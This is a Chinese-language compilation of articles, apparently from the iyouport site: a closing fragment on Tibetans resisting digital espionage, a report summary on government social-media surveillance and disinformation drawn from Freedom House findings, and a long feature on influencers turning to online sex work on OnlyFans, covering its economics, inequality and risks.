
至少有一个组织受到重浮水面运动的影响，这表明熟悉的策略仍在使用，因为它们仍然有效。 然而，藏人并没有被这些威胁所阻挡，而是继续进行艰苦而必要的工作，以增强他们社区的能力，并防御数字间谍的攻击。

原文

至少30亿社交媒体用户都在受到其政府的监视 - iyouport

政府的间谍行为长读

【2020年4月16日存档】许多政府都在利用社交媒体镇压异议，散布虚假信息和颠覆选举，即使在民主国家也是如此。

一份新的报告显示，世界各地许多政府一直在利用社交媒体来颠覆民主选举、并监视其本国公民。

最新一版的《网络自由度》报告再一次证实，这个集中化的互联网不是充当提高透明度和选举公开性的媒介，正相反，是被用来破坏民主进程的工具。

自由之家负责人 Mike Abramowitz 对记者说："政府和民粹主义运动正在利用社交媒体大规模地操纵选举，而政府正在利用技术以前所未有的规模监视其本国公民。"

这可不是新闻。

- 分析《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》
- 他们如何操纵选举《看不见的独裁》
- 他们如何监视人民《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 这就是集中化互联网本身的意义《互联网究竟是什么？—— 来自"监视谷"惊人的启示》
- 《心理操纵的秘密："行为经济学"＋PR＝？》
- 中国是如何实现跨**GFW**监控的？《一个关于中国20年的案例》

根据美国政府资助的组织自由之家（Freedom House）收集的数据，这是互联网自由度连续第九年下降。

- 去年的完整版报告《数字威权主义的兴起: 灾年之畔》

下降的主要原因有两个：更多的在线选举干预、和更多的政府监视 —— 两者的共同点是：都在利用社交媒体的力量。

报告发现，如今，将近30亿人受到政府和执法机构的监视，部分原因是监视技术变得越来越先进，价格越来越便宜。

Abramowitz 说："政府正在使用社交媒体收集和分析全体公民的大量个人数据。"

"许多政府使用人工智能来识别潜在威胁、并沉默反对派。随着这种监视技术变得越来越便宜，越来越多的执法机构正在使用几乎没有监督或负责的大规模监视。"

该报告着眼于全球65个国家/地区的互联网自由度调查，涵盖了全球87%的互联网用户。

中国连续第四年成为世界上最严重的互联网自由威胁者，而冰岛则是最佳的保护者。

在美国，互联网自由度连续第三年下降，这是由于执法部门对社交媒体的加大力度的监视、以及移民官员对穿越南部边境的所有人的监视。

去年早些时候发布的文件显示，移民和海关执法局（ICE）一直在监控2018年夏季参加纽约市反特朗普抗议活动的所有参与者的社交媒体账户。

"国土安全部的特工针对的不仅是移民，而且，还有对政府的移民政策和其他政策主题进行和平抗议的所有人，所有人都在遭受社交媒体监控工具的压制，美国人原本受宪法保护的活动正在被审查"，该报告的一位作者 Adrian Shahbaz 告诉记者。

该报告揭示了另一个令人不安的发展：民主国家越来越多地使用在线虚假信息。虽然在线虚假宣传运动已经存在多年了，但报告显示，它们不再是独裁政权的专利 —— 民主国家也痴迷信息战（这也不是新闻啊）。

- 案例《数字极权的审查如何扼杀独立媒体？》
- 分析《诈：在线信息战操纵战略的多样化》
- 调查性新闻《信息战：揭露政府的宣传机器如何伪装成"独立媒体"和 NGO 以混淆视听》
- 开源调查《「可视化信息战」 第 1 部分：在线媒体上的政治宣

传、压迫和攻击》
- 开源调查《「可视化信息战」 第2部分：社交媒体战场、人工政治和逮捕》

“最令人震惊的是，民粹主义领导人和极右翼组织不仅擅长制造病毒式传播的虚假信息，还善于利用传播它的网络。”

Shahbaz 强调了巴西2018年的大选，专制领导人 Jair Bolsonaro 成功利用在线平台的力量来确保总统职位。

- 在这里看到报道《阴谋论状元》

“三年前，当美国的顾问偷走了 Facebook 的数据以监视成千上万美国人的心理状况时，巴西的政治人员从社交网络中抓取了大量的电话号码，并根据地理位置、性别、和收入水平将选民添加到了专门创建的 WhatsApp 群组中”， Shahbaz 说，“这些群组为新型的无良竞选活动提供了完美的培养皿。”

印度和菲律宾也有类似的问题，在缅甸，Facebook 被指控帮助军方进行种族灭绝。

Abramowitz 认为，尽管总体下降，但也有一些亮点。

“有一些技术推动积极的民主变革的引人注目案例”，他指的是黎巴嫩、阿尔及利亚和香港，激进人士利用互联网和智能手机追究“腐败无能的政客”，要求他们对人民负责。

该报告建议了解决虚假信息运动和社交媒体监视的几种方法。

其中的建议之一是“确保政治广告是透明的，并遵守严格的内容标准”。尽管Twitter 禁止了所有政治广告，但 Facebook 表示不会对平台上运行的政治广告的内容进行事实核查。

（IYP 的建议是自我保护 —— 方法参见我们的“技术防身”栏目，以及识别虚假信息避免被操纵的方法，见“心理战和信息战”栏目，以及“开源情报”栏目，是信息验证的方法）

但是该报告警告说，如果没有政府和私人公司共同解决这个问题，情况只会越来越糟，尤其是随着**5G**、生物识别技术和人工智能等技术的发展。

- 《中国5G：好莱坞大片的滑稽场景》

- 《5G网络的可怕潜力》
- 《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》
- 《血族：美国人、IBM 和出口的数字警察国家》

报告说："有必要对民主自由进行严格的保护，以确保互联网不会成为暴政和压迫的特洛伊木马。"

"隐私、言论自由和民主治理的未来取决于我们今天做出的决定。" ○

About 3 Billion Social Media Users Are Being Spied On by Their Governments

原文

色情网红的崛起 - iyouport

长读

"欺骗你的大脑，使其认为你享有女性的亲密关系和感情……认为有人在浪漫地关心你，并获得一种有人重视你的存在的幻觉"。

互联网上有一条格言被称为第34条，它认为 “只要某存在，就肯定能色情化”。第34条规则通常被引用在奇怪的非正统文化案例中，比如说，关于《哈利-波特》中的巫师海格爱上哈利的猫头鹰海德薇的色情小说。但是还有一条不太被讨论的规则，一条本质上相当于其反面的规则，并且在过去十年中变得更加明显。让我们称它为 “规则43”，即：如果你在互联网上的存在足够明显，就会有人想要你的色情。

当它第一次发生时，会让你大吃一惊。“我的朋友玛丽几个月前告诉我，她回忆起一个陌生人给她发的第一条信息，这个陌生人向她提出了有偿的虚拟性工作”。“我以为这个人要和我进行这种荒谬的对话，并将其截图，然后在互联网上到处传播。我当时犹豫不决。然后我做了一些研究”。

玛丽 —— 她的名字和本故事中的许多消息来源一样，已经被改变，以保护她不被发现从事网上性工作的潜在严重后果 —— 由于在一个受欢迎的真人秀节目中的表现，她拥有超过10万的 Instagram 粉丝。她天生会拉客，自从我们在中学相遇后就一直如此 —— 她将此归功于她的母亲，一个在杂货连锁店和商场商店工作以养活全家人的移民。

她也是非常传统的辣妹，这对一个柏拉图式的朋友来说有点奇怪，但在这里是相关的，在一个关于她如何成为一个越来越普遍的趋势的一部分的故事中：那些已经培养了某种可识别的数字角色的女人被男人送钱，以换取她们的视频、照片，甚至只是一条短信的回复。

这些钱并不总是与性有关。也许这个男人知道你是一个苦苦挣扎的艺术家，网上的账户只是冒充你的赞助人操作的；也许他已经习惯了向 GoFundMes、Patreons 和 Substacks 随意打赏的制度，以至于在

CashApp 上给一个辣妹打赏50美元会感觉很自然。这笔钱本身几乎意味着同样的事，那就是：「嘿，注意我」。

不过，很多时候都是为了性。玛丽经常收到男人的DM，这些男人要求看她的胸（互联网上有足够多的女人有这样的经历，这已经成为meme了）。去问问任何有影响力的人—— 甚至是那些尚未满18岁的有影响力的人—— 有多少次被陌生人要求在 OnlyFans 上开一个账户，这个平台以付费获取特定创作者的裸体和淫秽图片而闻名，他们会告诉你这种情况非常多。我的一个同事和我都是在同一天被同一个男人在推特上找到的，他要求我们拍摄自己的脚的照片发给他，以换钱。

许多男人倾向于带着权利感或侵略性与其他人交谈，这并不新鲜。而新鲜的是，私信如何无缝地成为了一种商业安排，**Instagram** 生活方式的影响者和普通人如何将此作为一种有意义的收入来源。由于一种大流行病使许多人在家里用屏幕代替了现实生活中的亲密关系，以及合并性工作和社交媒体平台的兴起，虚荣的内容创作者正在转向性，以其各种形式，作为一种副业。

有些人可能会认为，越来越多的可能是孤独的人为数字亲密关系付费，而那些愿意出售数字亲密关系的人是无数经济和社会轨迹的悲剧性后果。电子女友的概念，即 向她的一个或许多追随者提供爱情和性爱的假象，对一些人来说是一个迅速接近的反乌托邦的标志。但也许这些人只是不知道他们错失了什么。

“他们可以直接接触到我，他们可以向我要他们想看的东西。他们愿意为此付钱”，玛丽解释说，“而我也愿意接受他们的钱”。

也许这是一个互利的生态系统的开始，在这个系统中，诸如性工作这样的概念有更多流动的含义，更少禁忌的内涵。“性” 和 “工作” 已经是非常复杂的，而且往往是模糊不清的概念，如果结合在一起就更加模糊了。

如果我们对性工作的基本理解是双方同意的性服务交换，没有一个性工作者或学术专家能给我一个硬性的定义，关于这条线的开始和结束在哪。但是，如果性工作的概念变得不那么污名化，那么更有可能面临法律和身体风险的全方位性工作者是否也会受到更少的污名？或者，正如许多成熟的性工作者所认为的那样，**OnlyFans** 等平台上有影响力的人的涌入，是否会促使在网上谋生的创作者和那些几乎没有任何收入的人之间的差距越来越大？

这种工作，尽管有时有利可图，但本质上是不稳定的。8月下旬，OnlyFans 宣布禁止其网站上的 “色情” 内容，以使其在主要金融机构面前显得合法，许多性工作者认为这是互联网公司从他们的劳动中获利的又一个例子，一旦公司认为不再需要他们，就会把他们卖掉。OnlyFans 在几天后撤销了其声明，但这不会是性工作者最后一次被迫根据不露面的技术官僚的想法重新评估他们的整个业务。

尽管如此，仍有一些人似乎已经想通了。4月，在被 Instagram 上的恋足癖者接触后，玛丽推出了一个 OnlyFans 账户，专门展示她自己的脚的照片，每月订阅费为12.99美元。她说她在最初几天内就赚到了1000多美元。只有在你遇到足够多的需求者时这种方法才能有效 —— 从那些崇拜者那里赚钱，但又避免了与另一个人直接发生性关系的潜在尴尬或混乱，或者最重要的是，有风险的现实 —— 它开始感觉像是美国梦。

在其最初的日子里，视觉网站和在线色情被认为是（正如陈规定型观念所言）是为失败者服务的。正如1998年加利福尼亚的一份另类月刊所指出的那样，视觉网站最狂热的消费者被（错误地）认为 “只是孤独的怪胎，在被闪烁的电脑屏幕照亮的房间里，每分钟支付5.99美元，观看汗流浃背的、注射了硅酮的女性身体，在键盘上卖力敲击”。 然而，生意兴隆；像 Babes4u 这样的网站通过向用户收取19.95美元20分钟的个人互动费用，每月收入高达 60,000 美元。美联社在1997年写道：“色情是少数几个能真正在互联网上赚钱的行业之一，而且赚得很多”。也许这是因为色情业几乎总是最快地适应技术革新，从便携式摄像机到家用电视，再到**90**年代末的现场直播。

- 如果您错过了《互联网色情产业简史》

要说90年代是成为色情明星的完美时代，这很容易。有前途的表演者可以与 Vivid Entertainment 或 Wicked 等工作室达成有利可图的协议，并参加相对豪华的拍摄，由经销商、广告商和代理商网络无缝协调。但到了21世纪末，Pornhub、Brazzers、RedTube 和 YouPorn 等网站—— 这些网站现在都属于加拿大公司 MindGeek —— 通过在中央图书馆托管视频（许多可能是盗版的）并免费提供大部分视频，破坏了工作室的运行系统。正如互联网对所有其他文化产业所做的那样，它迫使色情机构在任何可能的地方削减成本。

今天，正如希拉·塔兰特（Shira Tarrant）在她的书《色情行业：每个人都需要知道的事》中所言，大多数在线色情是业余的、没有剧本的、低预算的和硬核的。工资已经下降：塔兰特估计，一个女演员如果每月拍摄三场肛交戏，一年可以赚到大约4万美元，而一场肛交性

爱戏可以让演员赚到大约2000美元。在90年代，演员签订多部电影合同的情况要普遍得多；一位经纪人估计，在2000年，女性色情明星平均每年可赚取约10万美元。

在同一时间，还发生了一些影响人们想去看色情片的其他事。由知名演员主演的看起来很昂贵的剧本电影被淘汰了；相反，人们看色情片的时候会让他们感觉到像是有一种偷窥的刺激。与色情明星或名人建立寄生社会关系这件事与名人本身一样古老，但社交媒体帮助缩小了幻想和现实之间的差距，教会我们重视创作者的真实性，而不是其他。

社交媒体与对DIY色情的渴望同时兴起，这不是一个巧合。2019年，“业余爱好者”这个词在 Pornhub 搜索量最大的词汇中排名第一。此后几年，数十位名人—— 卡迪·B (Cardi B)、泰加 (Tyga)、流行剧集《纽约娇妻》的索尼娅·摩根 (Sonja Morgan) 和多琳达·梅德勒 (Dorinda Medley) —— 都加入了 OnlyFans 这样的平台，展示稍稍有些夸张的比基尼照片，或者任何只有他们最狂热的粉丝才会去看的东西，以换取金钱。

社交媒体迫使每个人 —— 从最无趣的无名小卒到地球上最大的明星 —— 都学会了如何为数字消费而展示自己。那些特别擅长这项技能的人被赋予了新的术语，如“影响者/网红”，他们似乎只要做自己就能赚钱。影响者和追随者之间的交易性质已经变得更加明确。现在，在 Twitter、Twitch 和 Spotify 上鼓励向创作者发送随意的小费（打赏），而通过 LinkTree 等链接优化器，任何人都可以用他们的 Venmo、CashApp 或 OnlyFans 赚钱，而无需直接宣传。如果你认为给粉丝发几张照片，而粉丝又给你发一点现金作为回报，这算作是性工作的话，那么跃升为在线性工作者可以非常容易。

OnlyFans 于2016年推出，到2019年，已经有60,000人在这里发布内容。而这个数字现在已经超过150万了。虽然它长期以来一直受到性工作者、裸体模特和色情表演者的青睐，但该公司不厌其烦地宣传自己是一个为更容易接受的普通“创作者”提供的平台。

登录 OnlyFans.com，迎接你的是一个看起来相当无聊的白色和蓝色界面，它建议你关注健身导师“林赛教练”和烹饪专家“乔西烘烤”等人。获得好东西的唯一途径，本身就是搜索特定的用户，或者更常见的是通过跟踪他们的 Instagram 或 YouTube 资料中的链接。从理论上讲，将普通粉丝转化为付费用户，就像添加“简历中的链接”一样容易。

在 **OnlyFans** 上利用其相对较小的追随者群体来赚钱的微流媒体人，往往扮演着他们最忠实的粉丝的电子女友的角色，提供想象中的亲密关系。这种日益流行的动态并非没有批评者。**Medium** 上的一位作家将其描述为“欺骗你的大脑，使其认为你享有女性的亲密关系和感情……认为有人在浪漫地关心你，并获得一种有人重视你的存在的幻觉”。

当然，互联网的出现与孤独的危机相吻合。凯萨家庭基金会2018年的一项研究发现，22%的美国成年人说他们经常或总是感到孤独或社会隔离。美国的平均家庭规模也在下降，导致独自生活的人增加了10%。虽然诸如非自愿独身或“取消色情”运动等团体喜欢将此归咎于女权主义或色情的大规模可及性，但是专家认为，罪魁祸首是我们围绕工作、成就和个人主义的文化。

巴纳德学院妇女研究和社会学教授伊丽莎白·伯恩斯坦说，在她几十年研究性工作者的过程中，男性客户的一个共同特点是工作时间紧张或要求高。“他们会独自吃饭，独自生活，整天蜷缩在桌子上”，她说，“你有一种过度工作的文化，而当下的大流行病只会加速这种情况”。最近的研究表明，当人们在家工作时，每天要多投入两个多小时。

无论原因是什么，更多的人正在网上寻找联系。加州大学圣克鲁兹分校心理学教授、性与性别多样性实验室主任菲利普·哈马克（Phillip Hammack）解释说：“我们过去认为的那种浪漫和亲密关系的传统形式正在下降，而这种大流行病已经使这种情况急剧升级。很多过去不愿意接受我可以称之为数字化或网络化亲密关系的人都在想，‘好吧，对我来说，在人前发展动态并不安全，所以我要去试试虚拟的’。我想很多人都发现，他们仍然从这些动态中得到很多意义。他们觉得自己被看到了；他们觉得自己可以更自由地表达自己的一部分，也许比他们曾经知道的要多”。

这是一个典型的星期五晚上，克洛伊（不是她的真名）在结束了一周的工作后终于合上了她的笔记本电脑。然后她脱下衬衫，开始拍照。“我会想，‘在我进入周末模式之前，我必须做这个’”，她说。

她已经考虑开一个 OnlyFans 账户一年了，在2020年1月的一个晚上—— 喝了两杯，拥有一些非常好的、最新的臀部自拍—— 她想，“就这样吧”。她经常被 Instagram 上的男人们催促，在那里她已经建立了一个小而忠实的追随者群体，他们被她所谓的“网上辣妹”的形象所迷惑，问她是否会加入 OnlyFans。一旦她加入了，她认为 OnlyFans 可以成为建立她作为创作者的平台的另一种方式。“我用一

张性感的照片吸引他们，希望他们能留下来浏览我的作品”，克洛伊说。她每周在账户上发布一到两次信息，并说她每个月能赚到大约1500美元（她说，有些男人确实留了下来并浏览她的作品）。

她的设置通常是相当简单的，尽管有时她会打开房间里的环形灯或使用一个小三脚架来捕捉更好的角度。每当从廉价的在线时尚品牌（如Shein）邮寄来一套新的性感服装时，她就会多拍几张照片。“它们超级随意，只是用我手机上的前置摄像头拍摄”，克洛伊说，“我认为很多订户真的喜欢这样，因为它没有经过修饰。这是对一个女孩的幻想，她只是为你快速地拍了这张照片，然后发给你”。

在大流行开始时，创纪录的2200万美国人被解雇，2020年4月，失业率达到14.8%的峰值，首当其冲的影响集中在女性身上。2020年3月的一项调查发现，全球52%的零工工人失去了工作，而另外26%的工人工作时间减少。皮尤研究中心在2021年1月进行的一项研究发现，三分之二的失业成年人曾“认真考虑”改变他们的职业，以获得可能更好的收入或更稳定的东西。由越来越多的人将自己的数字内容货币化组成的创作者经济，正等待着将他们挖走，因为他们承诺有一个愿意看你“做自己”的观众，他们会真的为你付钱。

这就是发生在丹佛24岁的海伦娜身上的事，当时她工作的餐厅因大流行病而关闭。多年来，她一直在尝试表演喜剧，以及在视觉网站上做了一些工作。但在推特上，她的超现实的网络语言笑话使她获得了一批粉丝。

男人们经常会点进她的 DM，问他们是否可以给她买一杯虚拟饮料。“我就会说，’通过Venmo吗？我要把钱花在Target上’”，她笑着说。她说，通常情况下，这只是10美元左右，但在她的简介中始终保留着自己的 Venmo 账号，感觉是值得的。

海伦娜以前曾在 MyFreeCams 等网站上做过一些摄像工作，在这些网站上，用户可以选择何时播放自己的视频，并迎合观众的口味以获取现金。在 OnlyFans 网站上，她每月的订阅费为10美元，内容是“80%的照片和我的屁股的视频”，外加JOI（打飞机指导）视频，其中一个人对着摄像机说话，告诉另一端的人如何以及何时自慰。她说，第一天就有1500人报名参加。

海伦娜说：“这可能是我在一天内赚到的最多的钱”，即使是在 OnlyFans 从每个创作者那里抽取20%的费用之后。“我感到很疯狂。我记得我在公寓里想，‘这是假的，我要被逮捕了’”。她说，她现在经济稳定，在她的成年生活中第一次有了良好的健康保险 —— 这完全

取决于她的 OnlyFans。

海伦娜和克洛伊—— 她们都是白人、性别认同一致、瘦弱、和身体健全，因此更有可能得到利用用户偏见的算法的奖励 —— 都没有特别庞大的追随者群体；她们的追随者人数在任何社交媒体网站上都没有超过10万人。然而，她们所拥有的是可辨认的、在各平台上基本一致的个人品牌，以及传统意义上的有吸引力的身体所带来的特权。甚至在她们加入 OnlyFans（帮助将电子女友的概念纳入主流的平台）之前，她们的追随者就已经关心她们了，比他们关心一个随机的 Pornhub 视频缩略图中的女人还要多。

这自然给她们在 OnlyFans 上带来了巨大的优势，OnlyFans 的搜索功能基本无法使用，也不在主页上推荐NSFW账户，因此直接在该网站上建立粉丝是非常困难的。唯一真正的方法是在其他地方开始——比如在 Instagram 或 Twitter 上，或者使用常用的搜索词来提高他们在谷歌上的个人形象—— 然后将这些人中的一小部分转化为付费订阅者。

正如夏洛特·谢恩（Charlotte Shane）在她的纽约时报杂志关于 OnlyFans 的专题文章中指出的那样，“新手并不排斥积累大量的追随者或发展较少的死忠粉丝群体，而且有些人管理得很好。但是，为自己的自创作品吸引付费崇拜者，会使获得任何报酬所需的劳动量增加一倍”。同时，随着创作者经济的飞速发展，它所产生的资金继续集中在最顶端。利用社会现有的倾向于白人、瘦弱身材、有钱的女性的偏见算法，使那些符合这些标准的人更容易用自己的身体获利。

OnlyFans 对其创作者的收入出了名的保密，但一位数据科学家估计，**OnlyFans** 创作者的月收入中位数为**180**美元，前**10%**的活跃 **OnlyFans** 账户的收入占该网站所有收入的**73%**。其他创作者猜测，前1%的创作者每月收入在5000至9000美元之间。这忽略了诸如小费和额外照片的一次性付款 —— 玛丽曾经每天向她的粉丝群发短信，其中有一个链接到她的脚的付费照片，粉丝们可以选择购买，价格在5美元到100美元之间 —— 但仅用户数量就显示了财富的严重不平等分布。

白人和黑人性工作者之间的薪酬差距也存在于网上，就像在现实世界中一样。女演员和性工作者 Erika Heidewald 解释了黑人性工作者如何受到社交媒体算法的歧视，这些算法往往奖励白人和浅肤色的人。她在2020年告诉 Okayplayer，“对于不同的性工作者可以根据他们的长相收取多少钱，这只是一种歧视性的定型观念。如果你是黑人，可能更难争取到你应得的高价”。

对于大量名人利用他们的名气涉足性工作，尤其是当他们是否在做性工作还存在争议的时候，人们一直有一种强烈的反感。21岁的苏格兰性工作者艾比告诉《新政治家》，每次有新的名人加入平台，她的 OnlyFans 订阅量就会下降，把她和其他现有的创作者挤到了后面。

当这些名人和有影响力的人夸耀他们赚了多少钱时，这让性工作者感到很不利。前性工作者 @ JuniperFitz 在推特上写道："如果性工作只是你前卫的公众形象的另一层，如果你可以随时离开这个行业，而不会对你的未来产生负面影响，如果你像 '嗨来看我的奶子啊' 那样，并不关心自己因此失去监护权或住房，那么请给我闭嘴"。

也许最激烈的反弹莫过于前迪士尼频道女演员贝拉·索恩在**2020**年**8**月加入 **OnlyFans**，并在一天内赚了一百万美元，在一周内上升到**200**万美元，打破了 **OnlyFans** 之前的记录。"目睹一个名人将一个平台士绅化，并赚取淫秽的金钱，却不承认性工作者的困境，这确实值得一记耳光"，OnlyFans 的创建者 Aussie Rachel 告诉滚石。然而，当 OnlyFans 反对性工作者时，例如当它宣布（后来撤回）禁止色情的新政策时，抵制 OnlyFans 的能力本身就是一种特权，许多人无法负担。对于许多黑人、有色人种、残疾人、身材不那么好的人和同性恋性工作者来说，OnlyFans 占据了太多的市场份额，不能冒着失去业务的风险。

"有影响力的性工作者" 的崛起只是一些人所说的由互联网推动的 "性工作的士绅化" 的最新例子。然而，即使自90年代以来，视觉网站已经使某些类型的性工作减少了身体上的危险，这种士绅化与互联网关系不大，而与不断变化的经济现实关系更大。巴纳德学院的伯恩斯坦在《性学》杂志上发表了一篇文章，研究了1994年至2002年的阶级特权性工作者，其中许多人有着大学学历，但仍然找不到可维持生计的工作。她发现，新自由主义的经济挤压—— 工资稳定性下降，缺乏获得医疗保健的机会等等 —— 正在改变从事性工作的人的阶级状况。

当来自美国南部的22岁表演者萨瓦娜·索罗（Savannah Solo）（她的职业名称）在2020年元旦加入 OnlyFans 时，她认为她能在这个平台上取得成功的唯一途径是 "非常、非常性感"，她说。一开始，她以她看到的其他女性的方式推销自己，用内衣和魅力气场。但就像每一个影响者的故事一样，当她学会靠拢自己的与众不同之处时，她才中了大奖。她开始在 Twitter 上发布愚蠢的 TikTok 式视频，介绍自己是 OnlyFans 的新创作者，她的内容围绕着她对《星球大战》、COSPLAY 和在家里裸体行走的热爱。

“你可以照照镜子，然后说，‘天哪，我有令人惊奇的乳房。我打赌人们会花钱去看这些奶子’”，她说，“然后你跳上 **[OnlyFans]**，你试着把你那惊人的奶子卖了一个星期，而你意识到当人们可以在谷歌上搜索 ‘奶子’ 时，要卖掉你的奶子的照片就更难了。你必须弄清楚是什么让你的胸部与众不同”。现在，萨瓦娜说，她的观众主要是 “那些想在打飞机时傻笑的人”。她说她在 **OnlyFans** 上赚的钱足够给自己买一栋房子。

随着网上性工作成为全国性的话题，一些人担心将一个潜在的危险行业美化。复仇性色情、泄露的裸体、勒索、骚扰和跟踪，对许多在网上存在的人来说是非常真实的可能性，特别是女性，尤其是作为性工作者的女性。2020年，纽约邮报曝光了一名23岁的EMT，她加入 OnlyFans 以维持生计；后来她不得不筹集资金以支持自己与该报纸的法律斗争。印第安纳州的一名汽车修理工在她的经理发现她的账户后失去了工作。

有过性工作经验的湾区浪漫小说家亚历山德拉·艾尔斯(Alexandra Ayers) 在她的 TikTok 账户上警告年轻女性注意这些风险。她告诉我：“很多女孩被误导了，以为这是一件简单的事，其实不然。在 **OnlyFans**，**[**内容**]** 是永久性的。它比你想象的更容易找到你本人。看到这些年轻女孩的信息差距有多[大]，真是令人担忧”。

然而，即使你中了 OnlyFans 的大奖，作为一个性工作者加入一个互联网平台，你的生计依然是建立在企业利益的决定上的，而这些企业可能不想与你有关联。例如，OnlyFans 长期以来一直试图摆脱其作为色情中心的声誉，转而推广其厨师和健身网红。当该网站认为它将无法继续与大银行保持关系时，OnlyFans 计划惩罚那些使其成名的性工作者 —— 在最终收回其将禁止 “性爱” 内容的声明之前。

自从互联网存在以来，性工作者一直面临着被赶出互联网的风险。过去十年最大的打击是在2018年，当时的总统唐纳德·特朗普签署了《允许国家和受害者打击在线性贩运法案》(FOSTA)，为《通信礼仪法》第230条创建了一个罕见的修改器。

第230条是美国互联网公司的指导原则，是保护平台不为其用户的行为承担责任的法律，但 FOSTA（有时被称为《停止扶持性贩运者法案》）宣布，用于帮助性贩运或卖淫的平台事实上可以在民事或刑事法庭上承担责任。最重要的是，它没有区分非自愿和自愿的性工作。尽管性工作者群体和言论自由团体大声疾呼，但它有效地摧毁了许多更安全的性工作渠道，如 Backpage，它允许工作者筛选客户和分享信息。

英国诺丁汉30岁的全方位性工作者、OnlyFans 创建者和美甲师 Lohhtuz 说："我一直在担心我的账户被关闭。我对我可以和不可以在我的DM里发什么信息非常谨慎。如果我的 Instagram 被删除，这将真正影响新客户和 OnlyFans 用户的到来。这对我来说是非常糟糕的"。

Lohhtuz（这位性工作者的网络账号）在现实中所承担的风险要比她在网上处理的风险严重得多。虽然为金钱而出卖性行为在英国是合法的，但妓院是非法的，这意味着 Lohhtuz 不能与另一个性工作者在同一空间工作。她强调那将可以在工作中提供更多安全和支持。对性工作者的身体和经济安全的最大威胁之一是执法部门本身，在美国，执法部门有攻击性工作者的可怕历史。

警察不成比例地针对有色人种的性工作者：根据 ProPublica 的调查，从**2016**年到**2020**年，在纽约被指控卖淫的人中有**89%**是有色人种，因为嫖娼而被捕的人中有**93%**也是如此。处于最底层的是那些以性工作为生存手段的人，通常是被主流社会剥夺了权利的变性人和有色人种，他们中的许多人在街上找到客户，并暴露在最危险的环境中。

全面服务的性工作者和那些只在网上工作的人之间的特权鸿沟在这场大流行中加剧了，网络性工作变得越来越正常化，但在现实中接触却变得更加污名化。

"我的乐观看法是，这种转变正带我们走向更多消除性工作的污名，并理解性工作在本质上并不意味着剥削的前进方向"，心理学教授哈马克说，他将其比作2010年代期间围绕网络约会的污名不断减少的的历史，"重要的是要认识到，双方都能从这种情况中获得意义、价值和联系 —— 当然还有兴奋"。

Lohhtuz 看到了争论的两面：

我不能说，'是的 *OnlyFans* 就是性工作'。有多少人真正经历过那种焦虑，当你在等待一个陌生人上门时，你不知道会发生什么，而你需要靠这些钱来支付那个月的房租？有这么大的区别。因此，我的某些部分觉得，*OnlyFans* 类型的女孩是否可以成为自己的一个类别？或者，我们能不能把它集中起来，使我们所有人都不被看作是肮脏的人或荡妇或妓女？我没有这方面的答案。我想让它变得不被人耻笑，但我有时忍不住看到那些不知道为钱发愁、从未从底层做起的人，很难说："我们和他们在一起"。

当玛丽在夏天找到一份企业行业的全职工作时，她不得不停用了她的OnlyFans 账户。这意味着放弃了在短短三个月内为她带来50,000美元的收入来源。她很沮丧，但希望她的新职业将更加稳定，并且从长远来看同样有利可图。“我希望对那些掌控一切的人没有这样的偏见，他们是女商人，而且杀气腾腾”。她说到 OnlyFans 的创作者，她说：“她们正在创作自拍，他们正在编辑内容，他们正在思考新的营销理念，而他们被贴上了妓女的标签。但是那个妓女一个月赚的钱超过了10,000美元”。

12月，我收到一个叫罗恩的人的推特DM，问我是否愿意成为他的虚拟女性统治 (Dominatrix)，即 在控制另一个人的钱的同时自愿羞辱他们。换句话说，就是金融 BDSM。“你好，女神”，他写道，“如果你有兴趣，我很乐意讨论细节”。

【注：BDSM即—— 绑缚（bondage）与调教（discipline），支配（dominance）与臣服（submission），施虐（sadism）与受虐（masochism）。性统治者是在BDSM活动中起主导作用的女性。女性统治可能具有任何性取向，但其取向并不一定限制其顺从伴侣的性别。众所周知，统治者会给臣服者带来身体上的痛苦，但并非在所有情况下都这样做。在某些情况下，使用色情羞辱，例如言语羞辱或羞辱任务的分配。女性统治也使用其他形式的奴役。】

罗恩告诉我，他读过我的一些作品，认为我似乎思想开放，而且他知道，即使我从未回复，至少我不会说一些残酷的东西。在问了更多问题后，我发现他是一个34岁的南方人，在IT行业工作，他的婚姻结束了，因为他沉迷于支配者的色情，用他的话说，他对和女人在一起失去了兴趣。在过去的八年里，他有大约20到30个女朋友，估计他已经花了大约5万美元。

他告诉我，他处于人生的一个阶段，“没有任何实质内容” 的过度制作的性内容对他来说并不重要，而且他对专业性工作者不感兴趣。他说：“我认为说服一个 ‘正常女孩’ 成为 findomme 的前景有点吸引人”。

对我来说，这感觉就像网红作为性工作者的诱惑力，一个你已经认识的网络人物愿意迈出下一步，即使你必须为此付出代价的刺激。与我交谈过的创作者将他们与 OnlyFans 订阅者的关系描述为几乎是健康的，比他们在其他平台上谈论粉丝的方式更加亲密和细致。其他人则指出，例如在脱衣舞俱乐部，他们会受到种族歧视骚扰和性骚扰，而他们的 OnlyFans 订阅者却一直很尊重和友善。

性工作仍然存在于社会最顽固的禁忌之一的交叉点上，即 亲密关系和资本可以结合的想法。然而，助长这种动态的在线创作者行业肯定会继续增长。OnlyFans 可能是这类平台中最知名的，但为创作者提供更多机会的订阅网站正在爆炸式增长，性工作者在 JustForFans 和 ManyVids 等网站上受到更明确的欢迎。色情表演者长期以来一直接受加密货币支付，作为避免金融服务审查的一种方法，一些人正在NFT上赚钱。

就像 **Instagram** 让每个人都成为摄影师，**Twitter** 让每个人都成为意见专栏作家一样，仅仅是使用社交媒体的行为就把我们都变成了创作者，在尽可能多的平台上为尽可能多的微交易而奔忙。

如果美国梦是通过做你喜欢的事来获得报酬，而你喜欢的事是在互联网上展示一个理想化的自身，并积累一批喜欢看你的观众作为回报，那么“网红”和性工作之间的区别，可以说只是一个光谱的问题。这又是第43条规则—— 如果你的生计取决于取悦观众，那么很大一部分观众想要的就是看你的裸体。是否给他们看，仍然取决于你，但从影响者到性工作者的管道从未如此清晰过。

无论哪种方式，你都已经被出售了。你的脸，你的身体，你最悲伤的酒后狂言，你最丑陋的爆怒，都已经在那里了，被任何数量的互联网公司保存着，这些公司寄希望于你滚过他们的隐私政策而没有真正阅读。

在线性工作可以感觉是对这种动态的颠覆，根据定义，它建立在公司和人类之间的单方面协议上。在这些情况中，你不知道金钱的实际转移，甚至不知道到底买的是什么。交易发生在一条无尽的、看不见的流水线上，重新包装人体和他们之间的秘密，作为数据点帮助世界上最富有的人保持最富有的地位。同时，你负责你要给的东西和给谁。

